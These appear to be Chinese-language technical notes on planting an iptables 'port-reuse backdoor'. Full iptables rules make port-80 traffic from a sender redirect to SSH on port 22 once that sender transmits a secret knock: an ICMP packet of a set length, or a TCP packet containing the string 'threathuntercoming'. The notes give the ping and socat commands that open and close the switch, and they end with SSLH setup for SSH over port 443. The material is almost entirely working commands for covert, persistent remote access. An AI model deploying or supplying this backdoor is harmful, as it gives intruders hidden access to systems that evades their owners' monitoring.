iptables端口复用后门
iptables -t nat -N wahaha #创建端口复用链
iptables -t nat -A wahaha -p tcp -j REDIRECT --to-port 22
#创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
#开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
#关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j wahaha
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 wahaha 链进行处理,有效时间为 3600 秒ping -c 1 -s 1111 192.168.102.1
ping -c 1 -s 1111 192.168.102.1 #打开
ping -c 1 -s 1112 192.168.102.1 #关闭
利用TCP协议做遥控开关
iptables -t nat -N wahaha #创建端口复用链
iptables -t nat -A wahaha -p tcp -j REDIRECT --to-port 22
#创建端口复用规则,将流量转发至 22 端口
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#开启开关,如果接收到一个含有threathuntercoming的TCP包,则将来源 IP 添加到加为letmein的列表中
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
#关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j wahaha
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 wahaha 链进行处理,有效时间为 3600 秒
echo threathuntercoming | socat - tcp:192.168.10.129:80#打开
echo threathunterleaving | socat - tcp:192.168.10.129:80#关闭
SSLH工具
配置SSLH
修改sslh配置文件
# vi /etc/sslh.cfg
sed -i 's/thelonious/0.0.0.0/g' /etc/sslh.cfg
# Change hostname with your external address name.
listen:
(
{ host: "0.0.0.0"; port: "443"; }
);
设置自启,并启动sshld服务
systemctl restart sslh
systemctl enable sslh
测试sslh服务是否运行正常
$ ps -ef | grep sslh
使用443端口SSH连接到你的服务器
$ ssh -p 443 root@localhost